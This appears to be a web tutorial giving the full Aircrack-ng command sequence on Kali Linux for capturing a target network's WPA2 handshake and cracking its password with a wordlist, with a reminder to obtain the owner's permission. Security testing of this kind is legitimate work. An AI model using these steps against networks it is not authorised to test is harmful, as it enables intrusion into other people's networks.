Testing WPA2 WiFi Security

[Likplo11]

Link:

• Kali Linux distribution (preferably the latest version).
• A wireless network card capable of packet injection (such as Alfa AWUS036NHA).

Step 1: Install Aircrack-ng

• Launch Terminal in Kali Linux.
• Update your package lists by running the following command: sudo apt update
• Install Aircrack-ng by executing this command: sudo apt install aircrack-ng

Step 2: Put Your Wireless Card into Monitor Mode

• Use the following command to list the wireless interfaces on your system: iwconfig
• Identify your wireless interface (e.g., wlan0) and run the command: sudo airmon-ng start [wireless interface name] (Replace [wireless interface name] with your own wireless card identifier, e.g., wlan0)
• Monitor mode will be enabled on your wireless card (e.g., mon0).

Step 3: Capture Wireless Packets

• Start capturing packets from nearby networks by running: sudo airodump-ng [wireless interface name] (Replace [wireless interface name] with your wireless card identifier, e.g., mon0)
• Observe the list of available networks and their details (ESSID, BSSID, etc.).
• Take note of the target network's BSSID, channel, and ESSID.

Step 4: Capture Handshake

• In a new Terminal window, use the following command to capture the WPA handshake: sudo airodump-ng -c [channel] --bssid [target BSSID] -w capturefile [wireless interface name] Replace [channel] with the target network's channel, [target BSSID] with the BSSID of the target network, and [wireless interface name] with your wireless card identifier (e.g., mon0).
• Wait for a wireless client to connect to the target network. Once a handshake is captured, you'll see a message indicating "WPA handshake" in the top-right corner of the Terminal.

Step 5: Password Cracking

• Use the captured handshake file to crack the Wi-Fi password: sudo aircrack-ng -w [path to wordlist] -b [target BSSID] [capturefile-01.cap] Replace [path to wordlist] with the location of your wordlist file (e.g., /usr/share/wordlists/rockyou.txt), [target BSSID] with the BSSID of the target network, and [capturefile-01.cap] with the name of the captured handshake file.
• Aircrack-ng will attempt to crack the password using the provided wordlist.

Notes:

• The cracking process may take considerable time depending on various factors, including the complexity of the password and the power of your system.
• Ensure you have permission from the network owner before performing any activities of this nature.
• Remember to use this knowledge responsibly and only on networks you are authorized to test.

That's it! You have now learned how to test WPA2 networks using Aircrack-ng on Kali Linux.
